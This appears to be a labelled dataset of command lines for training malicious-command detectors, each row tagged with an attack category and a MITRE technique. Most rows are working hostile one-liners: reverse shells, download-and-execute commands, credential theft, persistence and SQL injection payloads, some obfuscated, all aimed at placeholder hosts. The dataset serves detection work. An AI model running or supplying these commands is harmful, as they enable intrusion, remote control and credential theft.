text
stringlengths
4
527
label
stringclasses
7 values
label_id
int64
0
6
language
stringclasses
5 values
mitre_technique
stringclasses
83 values
template_id
stringclasses
377 values
cat /etc/group | grep -E 'sudo|wheel|docker|adm'
reconnaissance
1
bash
T1069
reconnaissance-065
neTsh interFace ip show coNfiG & netSh WlaN Show proFIles
reconnaissance
1
cmd
T1016
reconnaissance-089
nmap -sS -p- -T4 198.51.100.59
reconnaissance
1
bash
T1046
reconnaissance-000
powershell -nop -w hidden -ep bypass -c "IEX(IWR -UseBasicParsing http://192.0.2.121:46136/out.ps1)"
download_execute
5
powershell
T1059.001
download_execute-012
powershell.exe -Command "Add-ADGroupMember -Identity 'Domain Admins' -Members support"
persistence
4
powershell
T1098
persistence-047
sudo socat tcp-connect:192.0.2.136:9001 exec:'bash -li',pty,stderr,setsid,sigint,sane
reverse_shell
3
bash
T1059.004
reverse_shell-007
smbclient -L //198.51.100.134 -N
reconnaissance
1
bash
T1590
reconnaissance-022
ansible-playbook -i inventory/monitoring.ini site.yml --limit build16.example.net
benign
0
bash
null
benign-102
cmd.exe /c "\\203.0.113.116\share\conf39.exe"
download_execute
5
cmd
T1105
download_execute-050
/usr/bin/curl -fsSL -o data57.tar.gz https://releases.example.net/data57-1.4.5.tar.gz
benign
0
bash
null
benign-023
uname -a; cat /etc/*-release; hostname; w; last -n 16
reconnaissance
1
bash
T1082
reconnaissance-062
for p in 22 80 443 445 3389; do (echo > /dev/tcp/198.51.100.233/$p) 2>/dev/null && echo "$p open"; done
reconnaissance
1
bash
T1046
reconnaissance-004
34' AND BENCHMARK(5000000,MD5('a'))-- - --
sql_injection
6
sql
T1190
sql_injection-036
smbclient -L //203.0.113.168 -N
reconnaissance
1
bash
T1590
reconnaissance-022
test' GROUP BY email HAVING 1=1--
sql_injection
6
sql
T1190
sql_injection-043
Register-ScheduledTask -TaskName 'OneDriveSync' -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -Action (New-ScheduledTaskAction -Execute 'C:\ProgramData\data12.exe') -User SYSTEM
persistence
4
powershell
T1053.005
persistence-044
cmd.exe /c "regsvr32 /s /n /u /i:http://203.0.113.115:8080/agent.sct scrobj.dll"
reverse_shell
3
cmd
T1218.010
reverse_shell-026
chown -R alice:alice /opt/app
benign
0
bash
null
benign-028
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('203.0.113.137',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-020
GeT-ChIlDItem -PaTh \\wEb4.COnToso.teSt\C$ -RecuRSe -ERroRACtioN SileNtlYCONTinuE
reconnaissance
1
powershell
T1083
reconnaissance-078
whOaMI /all & net uSer & NeT loCaLGroUp admINisTrAtors
reconnaissance
1
cmd
T1033
reconnaissance-033
Invoke-WEBReQUEst htTp://192.0.2.179/svc19.exE -OutFilE C:\USErs\PuBlIc\SVC19.eXe; & C:\Users\PublIC\SVc19.eXe
download_execute
5
powershell
T1105
download_execute-014
powershell.exe -Command "New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce -Name sysupdate -Value 'C:\Users\Public\lib.exe' -PropertyType String"
persistence
4
powershell
T1547.001
persistence-043
socat OPENSSL:192.0.2.175:8080,verify=0 EXEC:/bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-038
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMAAuADIALgAyADQANwAvAGMAbwBuAGYAMgA3AC4AcABzADEAJwApAA==
download_execute
5
powershell
T1027
download_execute-015
BiTsadmIn /crEate NeTlOgonD & bitSadMIn /AddfilE netloGOND Http://192.0.2.43/ouT.exE C:\TEmp\OuT.ExE & bITsAdmin /SetNotifYCmdLinE nEtlOgond C:\TEMP\Out.Exe NULL & BItsAdmin /resume NEtlogOND
persistence
4
cmd
T1197
persistence-055
Start-Process msiexec.exe -ArgumentList '/i D:\Backups\install.msi /qn /norestart' -Wait
benign
0
powershell
null
benign-120
poweRshelL -noP -w Hidden -c "$c=New-ObjecT Net.SocKETS.TCPCLienT('198.51.100.53',9001);$s=$C.GeTStReAm();[byte[]]$b=0..65535|%{0};whIle(($i=$s.ReaD($B,0,$b.LengTH)) -ne 0){$d=(New-OBjEct TExT.ASCIIENcodinG).GetStRing($b,0,$i);$r=(iex $D 2>&1|Out-String);$S.WRitE(([tExT.EncodiNg]::ASCII).GeTByteS($r),0,$R.LENgtH)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-020
curl -s http://203.0.113.246/conf54.sh | bash
download_execute
5
bash
T1105
download_execute-000
$Sm=(New-OBject Net.SOcKeTs.TCPClient('198.51.100.250',5555)).GetStReaM();[byTe[]]$bt=0..65535|%{0};WhiLe(($i=$sM.Read($BT,0,$Bt.LengTh)) -ne 0){$d=(NEW-OBjeCt TExt.ASCIIENCOdInG).GetStrINg($bt,0,$I);$sT=([text.encodIng]::ASCII).GeTBYtes((ieX $D 2>&1));$sm.Write($St,0,$st.LEngTh)}
reverse_shell
3
powershell
T1059.001
reverse_shell-047
EXEC sp_linkedservers; SELECT name FROM master..sysdatabases;
reconnaissance
1
sql
T1213
reconnaissance-093
cat /tmp/conf.pub >> /home/bob/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-031
powershell.exe -Command "New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce -Name WindowsUpdateSvc -Value 'C:\Users\Public\lib.exe' -PropertyType String"
persistence
4
powershell
T1547.001
persistence-043
Copy-Item $env:TEMP\update.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysupdate.exe"
persistence
4
powershell
T1547.001
persistence-017
perl -e 'use Socket;$i="198.51.100.176";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
reverse_shell
3
bash
T1059
reverse_shell-010
$c = Get-Credential -Message 'Your session has expired. Please re-enter your password'; $c.GetNetworkCredential().Password | Out-File $env:TEMP\payload23.txt
credential_harvesting
2
powershell
T1056.002
credential_harvesting-025
net share & net session & net view \\build7.example.com
reconnaissance
1
cmd
T1135
reconnaissance-084
Start-Process msiexec.exe -ArgumentList '/i $env:USERPROFILE\Desktop\out.msi /qn /norestart' -Wait
benign
0
powershell
null
benign-120
sudo ruby -rsocket -e 'exit if fork;c=TCPSocket.new("198.51.100.203","5555");loop{c.gets.chomp!;(exit! if $_=="exit");IO.popen($_,"r"){|io|c.print io.read}}'
reverse_shell
3
bash
T1059
reverse_shell-043
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce -Name OneDriveSync -Value 'C:\Users\Public\kdev.exe' -PropertyType String
persistence
4
powershell
T1547.001
persistence-043
Reg querY HKLM /F pAssword /T REG_SZ /s
credential_harvesting
2
cmd
T1552.002
credential_harvesting-034
Net uSeR /DOMain & nET group "DomAIN ADMIns" /DOmaIN
reconnaissance
1
cmd
T1087.002
reconnaissance-034
lwp-download http://203.0.113.156/out21 /tmp/out21 && perl /tmp/out21
download_execute
5
bash
T1105
download_execute-030
enum4linux -a 203.0.113.59
reconnaissance
1
bash
T1590
reconnaissance-021
InvoKe-WebRequEst http://198.51.100.111/rUn55.exe -OutFiLE C:\UsErs\PuBlIC\rUn55.exe; & C:\USeRS\PuBlIc\run55.exe
download_execute
5
powershell
T1105
download_execute-014
sudo nmap -sS -p- -T4 192.0.2.209
reconnaissance
1
bash
T1046
reconnaissance-000
nmap --script vuln -p 80,443 192.0.2.0/24
reconnaissance
1
bash
T1046
reconnaissance-047
$c = Get-Credential -Message 'Your session has expired. Please re-enter your password'; $c.GetNetworkCredential().Password | Out-File $env:TEMP\sys32.txt
credential_harvesting
2
powershell
T1056.002
credential_harvesting-025
POST /login username=postgres&remember=true
benign
0
http
null
benign-150
AdMiN' AND aSCIi(SUBStriNG((sELEcT TOP 1 nAMe FroM sys.taBleS),1,1))>40-- --
sql_injection
6
sql
T1190
sql_injection-035
Copy-Item "$env:LOCALAPPDATA\GooGLe\ChrOme\User Data\Default\LoGin DaTA" $eNv:TEMP\Tmp.Db
credential_harvesting
2
powershell
T1555.003
credential_harvesting-024
curl -k https://198.51.100.119:8080/xmrig -o /var/tmp/.install20 && chmod +x /var/tmp/.install20 && /var/tmp/.install20 -o pool.example.net:53 --donate-level 1 -B
download_execute
5
bash
T1105
download_execute-008
exec 5<>/dev/tcp/203.0.113.56/443;cat <&5 | while read line; do $line 2>&5 >&5; done
reverse_shell
3
bash
T1059.004
reverse_shell-032
sc config GoogleUpdateTaskMachine binPath= "cmd /c C:\ProgramData\data32.exe" start= auto
persistence
4
cmd
T1543.003
persistence-054
cmstp.exe /ni /s http://203.0.113.130/update.inf
download_execute
5
cmd
T1218.003
download_execute-049
sudo curl -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
credential_harvesting
2
bash
T1552.005
credential_harvesting-052
EXEC xp_cmdshell 'powershell -c "iex(iwr http://198.51.100.114/update.ps1 -useb)"';
download_execute
5
sql
T1105
download_execute-051
sudo openssl s_client -quiet -connect 192.0.2.56:5555 | /bin/sh 2>&1 | openssl s_client -quiet -connect 192.0.2.56:47502
reverse_shell
3
bash
T1059.004
reverse_shell-016
ncat --ssl 203.0.113.168 4444 -e /bin/bash
reverse_shell
3
bash
T1059.004
reverse_shell-036
bash -i >& /dev/tcp/198.51.100.169/80 0>&1
reverse_shell
3
bash
T1059.004
reverse_shell-000
cmd.exe /c "curl.exe -s http://192.0.2.250/payload.bat -o %TEMP%\payload.bat & call %TEMP%\payload.bat"
download_execute
5
cmd
T1105
download_execute-024
curl -s http://198.51.100.39/k.pub >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-032
nEt grouP "Enterprise AdMins" /DomaiN
reconnaissance
1
cmd
T1069.002
reconnaissance-086
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" $env:TEMP\loader51.db
credential_harvesting
2
powershell
T1555.003
credential_harvesting-024
ldapsearch -x -H ldap://192.0.2.22 -b 'dc=corp,dc=example' '(objectClass=user)' sAMAccountName
reconnaissance
1
bash
T1590
reconnaissance-058
nmap -sS -p- -T4 203.0.113.224
reconnaissance
1
bash
T1046
reconnaissance-000
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("198.51.100.182",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
reverse_shell
3
bash
T1059.006
reverse_shell-008
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("203.0.113.132","53");loop{c.gets.chomp!;(exit! if $_=="exit");IO.popen($_,"r"){|io|c.print io.read}}'
reverse_shell
3
bash
T1059
reverse_shell-043
cmd.exe /c "dir $env:USERPROFILE\Desktop /s /b"
benign
0
cmd
null
benign-063
sudo curl http://198.51.100.89/run79.sh -o /tmp/run79.sh; bash /tmp/run79.sh
download_execute
5
bash
T1105
download_execute-028
EXEC xp_cmdshell 'C:\Users\Public\nc.exe 203.0.113.132 1337 -e cmd.exe';
reverse_shell
3
sql
T1505.001
reverse_shell-054
schtaSks /create /tn "MiCrOSoftEdgEUpdaTE" /TR "C:\PrOgramData\Svc1.exE" /sc onlogoN /ru SYSTEM /f
persistence
4
cmd
T1053.005
persistence-020
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.0.2.25:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
reverse_shell
3
bash
T1059
reverse_shell-042
-1SELECT * FrOM usERS WHERE UserName = '' Or '1'='1' AND password = '' OR '1'='1';
sql_injection
6
sql
T1190
sql_injection-019
echo 'alias ls="ls --color=auto; /tmp/.lib &"' >> /home/ec2-user/.bashrc
persistence
4
bash
T1546.004
persistence-035
sudo gobuster dir -u http://203.0.113.20/ -w /usr/share/wordlists/dirb/common.txt
reconnaissance
1
bash
T1595
reconnaissance-019
net share & net session & net view \\web16.contoso.test
reconnaissance
1
cmd
T1135
reconnaissance-084
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\kdev23" q q
credential_harvesting
2
cmd
T1003.003
credential_harvesting-030
powershell.exe -Command "$c = Get-Credential -Message 'Your session has expired. Please re-enter your password'; $c.GetNetworkCredential().Password | Out-File $env:TEMP\payload.txt"
credential_harvesting
2
powershell
T1056.002
credential_harvesting-025
Copy-IteM "$eNv:LOCALAPPDATA\Google\ChRome\UsER DaTA\DeFaUlt\Login DaTa" $eNv:TEMP\loadeR.db
credential_harvesting
2
powershell
T1555.003
credential_harvesting-024
sqlmap -u "http://198.51.100.28/page.php?id=48" --batch --dbs --dump
sql_injection
6
bash
T1190
sql_injection-024
ldapsearch -x -H ldap://192.0.2.124 -b 'dc=corp,dc=example' '(objectClass=user)' sAMAccountName
reconnaissance
1
bash
T1590
reconnaissance-058
1..254 | % { TEst-ConneCtIon -Count 1 -QuieT 192.0.2.$_ }
reconnaissance
1
powershell
T1018
reconnaissance-071
node -e 'sh=require("child_process").spawn("/bin/sh");c=require("net").connect(53,"198.51.100.108",()=>{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)})'
reverse_shell
3
bash
T1059
reverse_shell-015
Get-ChildItem -Path \\web2.contoso.test\C$ -Recurse -ErrorAction SilentlyContinue
reconnaissance
1
powershell
T1083
reconnaissance-078
SELECT username, password, email FROM sessions INTO OUTFILE '/var/www/html/svc92.txt';
credential_harvesting
2
sql
T1555
credential_harvesting-040
$c = Get-Credential -Message 'Your session has expired. Please re-enter your password'; $c.GetNetworkCredential().Password | Out-File $env:TEMP\loader.txt
credential_harvesting
2
powershell
T1056.002
credential_harvesting-025
powershell.exe -Command "$ssl=New-Object Net.Security.SslStream((New-Object Net.Sockets.TcpClient('192.0.2.245',9001)).GetStream(),$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$ssl.AuthenticateAsClient('example.org')"
reverse_shell
3
powershell
T1059.001
reverse_shell-050
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("cdn-update.example.org",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
reverse_shell
3
bash
T1059.006
reverse_shell-039
cat /tmp/payload.pub >> /home/mgarcia/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-031
net view /domain & nltest /dclist:corp.example
reconnaissance
1
cmd
T1018
reconnaissance-039
powershell.exe -Command "Get-ChildItem -Path \\web15.example.org\C$ -Recurse -ErrorAction SilentlyContinue"
reconnaissance
1
powershell
T1083
reconnaissance-078
VACUUM ANALYZE sessions;
benign
0
sql
null
benign-143
REg SaVe HKLM\SAM C:\WINDowS\TeMp\sAm.save & reg savE HKLM\SYSTEM C:\WIndoWS\Temp\System.Save
credential_harvesting
2
cmd
T1003.002
credential_harvesting-028
$c = Get-Credential -Message 'Your session has expired. Please re-enter your password'; $c.GetNetworkCredential().Password | Out-File $env:TEMP\sys54.txt
credential_harvesting
2
powershell
T1056.002
credential_harvesting-025
sudo docker exec -it kafka /bin/sh
benign
0
bash
null
benign-099
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDMuMC4xMTMuMTEzLzU1NTUgMD4mMQ== | base64 -d | bash
reverse_shell
3
bash
T1059.004
reverse_shell-018
7+AND+1=(SELECT+CASE+WHEN+(SUBSTR(user,1,1)='a')+THEN+1+ELSE+0+END+FROM+dual)
sql_injection
6
sql
T1190
sql_injection-034
lua -e "require('socket');require('os');t=socket.tcp();t:connect('203.0.113.57','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
reverse_shell
3
bash
T1059
reverse_shell-014
certutil -hashfile $env:USERPROFILE\Desktop\stage254.iso SHA256
benign
0
cmd
null
benign-136